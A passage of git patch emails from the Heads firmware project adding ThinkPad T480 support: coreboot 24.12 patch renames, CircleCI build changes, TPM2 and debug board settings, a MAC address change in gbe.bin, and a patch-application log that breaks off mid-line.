b/patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch similarity index 100% rename from patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch rename to patches/coreboot-2412/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch diff --git a/patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch b/patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch similarity index 100% rename from patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch rename to patches/coreboot-2412/0007-mb-dell-optiplex_780-Add-USFF-variant.patch diff --git a/patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch similarity index 100% rename from patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch rename to patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch diff --git a/patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch similarity index 100% rename from patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch rename to patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch diff --git a/patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch similarity index 100% rename from patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch rename to patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch diff --git a/patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch similarity index 100% rename from patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch rename to patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch diff --git a/patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch similarity index 100% rename from patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch rename to patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch diff --git a/patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch similarity index 100% rename from patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch rename to patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch diff --git a/patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch similarity index 100% rename from patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch rename to patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-2412/85278-post-skylake-pr0.patch similarity index 100% rename from patches/coreboot-t480/85278-post-skylake-pr0.patch rename to patches/coreboot-2412/85278-post-skylake-pr0.patch diff --git a/targets/t480_me_blobs.mk b/targets/t480_me_blobs.mk deleted file mode 100644 index 5802fa3be..000000000 --- a/targets/t480_me_blobs.mk +++ /dev/null @@ -1,15 +0,0 @@ -# TODO describe the process for t480 -#Targets for downloading t480 ME blob, cleaning and deguarding. - -# t480-*-maximized boards require you to initially call -# - blobs/t480/download-clean-deguard-me.sh -# To download donor's Dells-Inspiron.exe, extract ME binary with biosutilities from libreboot, clean ME, -# and deguard it using Mate Kukri deguard tool. - -# Make the Coreboot build depend on the following 3rd party blobs: -$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/t480/me.bin - -$(pwd)/blobs/t480/me.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/t480/download-clean-deguard-me.sh $(pwd)/blobs/t480 From cfeb1e3fca72a8048e114c2e2fb469ceedd5ca71 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 13 Feb 2025 11:17:52 -0500 Subject: [PATCH 514/619] CircleCI: build workspace cache when building t480-hotp so t480 can reuse it (crossgcc coreboot requirements hiccup boostrapping GCC 14 Feb 12 19:37:11 Unpacked and patched ... ok Feb 12 19:37:11 Building packages ... Feb 12 19:38:02 Building GMP v6.3.0 for host ... ok Feb 12 19:38:36 Building MPFR v4.2.1 for host ... ok Feb 12 19:38:47 Building MPC v1.3.1 for host ... ok Feb 12 19:41:04 Building BINUTILS v2.43.1 for target ... ok Feb 12 19:46:58 Building GCC v14.2.0 for target ... failed. Check 'build-i386-elf-GCC/build.log'. make[3]: *** [Makefile:20: build_gcc] Error 1 make[2]: *** [Makefile:36: build-i386] Error 2 make[1]: *** [util/crossgcc/Makefile.mk:32: crossgcc-i386] Error 2 Feb 12 19:46:58 make[1]: Leaving directory '/root/heads/build/x86/coreboot-2412' make: *** [modules/coreboot:172: /root/heads/build/x86/coreboot-2412/.heads-toolchain] Error 2 See https://app.circleci.com/pipelines/github/tlaurion/heads/3121/workflows/247e4cec-fe5d-4601-9192-a8bd46499d7b/jobs/61955?invite=true#step-102-36915_97 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 54cfa7591..28f7fa536 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -244,6 +244,14 @@ workflows: requires: - x230-hotp-maximized + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build_and_persist: + name: t480-hotp + target: t480-hotp + subcommand: "" + requires: + - x86-musl-cross-make + # coreboot nitropad # Nitropads depending on x230-hotp-maximized cache since kernel is 6.x and coreboot is git is unshared # We use nitropad's coreboot's fork crossgcc @@ -510,14 +518,6 @@ workflows: requires: - librem_14 - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - - build: - name: t480-hotp - target: t480-hotp - subcommand: "" - requires: - - x86-musl-cross-make - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: name: t480 From 296e7be363b9152d63c23ba6a8ec0ad7c4043299 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Thu, 13 Feb 2025 22:57:54 +0100 Subject: [PATCH 515/619] try fixing tpm config for t480 Signed-off-by: gaspar-ilom --- boards/t480-hotp/t480-hotp.config | 6 +++++- boards/t480/t480.config | 6 +++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index 7da65f1d8..8368151bc 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -62,7 +62,11 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -export CONFIG_TPM=y +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n diff --git a/boards/t480/t480.config b/boards/t480/t480.config index 0d87ec978..e9f9a3bcf 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -62,7 +62,11 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y -export CONFIG_TPM=y +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y #Enable DEBUG output, debug output probably a good idea for first tests export CONFIG_DEBUG_OUTPUT=y export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n From 1391bf97f7db4b77bc0ed45faa76f70809775456 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 13 Feb 2025 20:25:45 -0500 Subject: [PATCH 516/619] t480 board configs: revew vs nv41, unify between each other and enable TRACING Debug that was missing: CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y All of this is because we tried to adapt from t400p which is tpm1 instead of librem_14v3 which is really similar to this board. Note that we currently use a duplicate of librem14v3 linux config. Signed-off-by: Thierry Laurion --- boards/t480-hotp/t480-hotp.config | 15 +++++++++------ boards/t480/t480.config | 15 +++++++++------ 2 files changed, 18 insertions(+), 12 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index 8368151bc..b16b3af96 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y +#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y @@ -40,15 +41,15 @@ export CONFIG_FINALIZE_PLATFORM_LOCKING=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support CONFIG_HOTPKEY=y - -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -62,14 +63,17 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 #TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests +#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n #Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test @@ -81,7 +85,6 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T480-hotp-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx80_me_blobs diff --git a/boards/t480/t480.config b/boards/t480/t480.config index e9f9a3bcf..5af110272 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -17,6 +17,7 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y +#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y @@ -40,15 +41,15 @@ export CONFIG_FINALIZE_PLATFORM_LOCKING=y # TPM2 requirements CONFIG_TPM2_TSS=y CONFIG_OPENSSL=y +#Remote Attestation common tools CONFIG_POPT=y CONFIG_QRENCODE=y CONFIG_TPMTOTP=y #HOTP based remote attestation for supported USB Security dongle #With/Without TPM support #CONFIG_HOTPKEY=y - -#Nitrokey Storage admin tool -CONFIG_NKSTORECLI=n +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n #GUI Support #Console based Whiptail support(Console based, no FB): @@ -62,14 +63,17 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 #TPM2 requirements export CONFIG_TPM2_TOOLS=y export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements #export CONFIG_TPM=y -#Enable DEBUG output, debug output probably a good idea for first tests +#Enable DEBUG output, debug output probably a good idea for first tests TODO:remove prior of merge export CONFIG_DEBUG_OUTPUT=y -export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y #Enable TPM2 pcap output under /tmp export CONFIG_TPM2_CAPTURE_PCAP=n #Enable quiet mode: technical information logged under /tmp/debug.log, not quiet for first test @@ -81,7 +85,6 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T480-maximized" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -export CONFIG_AUTO_BOOT_TIMEOUT=5 #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx80_me_blobs From 073d244e23ccb890d5699cacbe48719074524351 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 10:23:03 +0100 Subject: [PATCH 517/619] remove resolved todo as config is now confirmed Signed-off-by: gaspar-ilom --- boards/t480-hotp/t480-hotp.config | 1 - boards/t480/t480.config | 1 - 2 files changed, 2 deletions(-) diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp/t480-hotp.config index b16b3af96..d022744eb 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp/t480-hotp.config @@ -17,7 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y -#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y diff --git a/boards/t480/t480.config b/boards/t480/t480.config index 5af110272..59b7d70d9 100644 --- a/boards/t480/t480.config +++ b/boards/t480/t480.config @@ -17,7 +17,6 @@ CONFIG_LINUX_CONFIG=config/linux-t480.config #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y -#TODO: validate that E1000E is needed or E1000 CONFIG_LINUX_E1000E=y CONFIG_MOBILE_TETHERING=y From 5a50de6927468e600a3184ed8f57a78a16ac2a6d Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 10:37:06 +0100 Subject: [PATCH 518/619] set the mac address to 00:de:ad:c0:ff:ee in the gbe.bin blob for the t480 Signed-off-by: gaspar-ilom --- blobs/xx80/gbe.bin | Bin 8192 -> 8192 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/blobs/xx80/gbe.bin b/blobs/xx80/gbe.bin index dfb2300d7734e85cb289ae431b3237604a0ce73d..5438dd42007dab661e87dd52eb15ab3331af5573 100644 GIT binary patch delta 46 jcmZp0XmDU-xVQGe|92DFDwu@5CkwKOZJd_Hk5v!=w(b$v delta 46 icmZp0XmDVYs%fu&+&z)4g2_5`vLK7t#%WpnSOo!nst?xy From b2637cec90929d3c1c709137ff271b150db618db Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 11:49:33 -0500 Subject: [PATCH 519/619] t480 boards and coreboot config: rename to maximized since ifd reuses ME neutered space, confirmed Signed-off-by: Thierry Laurion --- .circleci/config.yml | 10 +++++----- .../t480-hotp-maximized.config} | 2 +- .../t480-maximized.config} | 2 +- ...boot-t480.config => coreboot-t480-maximized.config} | 0 4 files changed, 7 insertions(+), 7 deletions(-) rename boards/{t480-hotp/t480-hotp.config => t480-hotp-maximized/t480-hotp-maximized.config} (97%) rename boards/{t480/t480.config => t480-maximized/t480-maximized.config} (97%) rename config/{coreboot-t480.config => coreboot-t480-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 28f7fa536..07a0f63b8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -246,8 +246,8 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build_and_persist: - name: t480-hotp - target: t480-hotp + name: t480-hotp-maximized + target: t480-hotp-maximized subcommand: "" requires: - x86-musl-cross-make @@ -520,11 +520,11 @@ workflows: # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build: - name: t480 - target: t480 + name: t480-maximized + target: t480-maximized subcommand: "" requires: - - t480-hotp + - t480-hotp-maximized # dasharo release, share 24.02.01 utils/crossgcc - build: diff --git a/boards/t480-hotp/t480-hotp.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config similarity index 97% rename from boards/t480-hotp/t480-hotp.config rename to boards/t480-hotp-maximized/t480-hotp-maximized.config index d022744eb..1dcf97b81 100644 --- a/boards/t480-hotp/t480-hotp.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -11,7 +11,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config # TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config diff --git a/boards/t480/t480.config b/boards/t480-maximized/t480-maximized.config similarity index 97% rename from boards/t480/t480.config rename to boards/t480-maximized/t480-maximized.config index 59b7d70d9..ee20f0c43 100644 --- a/boards/t480/t480.config +++ b/boards/t480-maximized/t480-maximized.config @@ -11,7 +11,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=2412 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-t480.config +CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config # TODO: Make a ThinkPad-common Linux config file. CONFIG_LINUX_CONFIG=config/linux-t480.config diff --git a/config/coreboot-t480.config b/config/coreboot-t480-maximized.config similarity index 100% rename from config/coreboot-t480.config rename to config/coreboot-t480-maximized.config From 796a6c338f6be1f5258ba1d9fe3133add52eed8e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 11:58:48 -0500 Subject: [PATCH 520/619] t480: remove unneeded patches from libreboot under patches/coreboot-2412, resave in oldconfig (reenables compressed fsp) repro: - inspect patches applicability from patch trace if [ ! -e "/home/user/heads/build/x86/coreboot-2412/.patched" ]; then if [ -r patches/coreboot-2412.patch ]; then ( git apply --verbose --reject --binary --directory build/x86/coreboot-2412 ) < patches/coreboot-2412.patch || exit 1 ; fi && if [ -d patches/coreboot-2412 ] && [ -r patches/coreboot-2412 ] ; then for patch in patches/coreboot-2412/*.patch ; do echo "Applying patch file : $patch " ; ( git apply --verbose --reject --binary --directory build/x86/coreboot-2412 ) < $patch || exit 1 ; done ; fi && touch "/home/user/heads/build/x86/coreboot-2412/.patched"; fi Applying patch file : patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig... Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/chipset.cb... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/chipset.cb cleanly. Applying patch file : patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch Checking patch build/x86/coreboot-2412/src/soc/intel/skylake/bootblock/pch.c... Applied patch build/x86/coreboot-2412/src/soc/intel/skylake/bootblock/pch.c cleanly. Applying patch file : patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch Checking patch build/x86/coreboot-2412/src/device/pci_rom.c... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/bluetooth.c... Checking patch build/x86/coreboot-2412/src/ec/lenovo/h8/wwan.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.h... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin... Checking patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin... Applied patch build/x86/coreboot-2412/src/device/pci_rom.c cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/bluetooth.c cleanly. Applied patch build/x86/coreboot-2412/src/ec/lenovo/h8/wwan.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ec.h cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/gpio.h cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin cleanly. Applied patch build/x86/coreboot-2412/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin cleanly. Applied patch 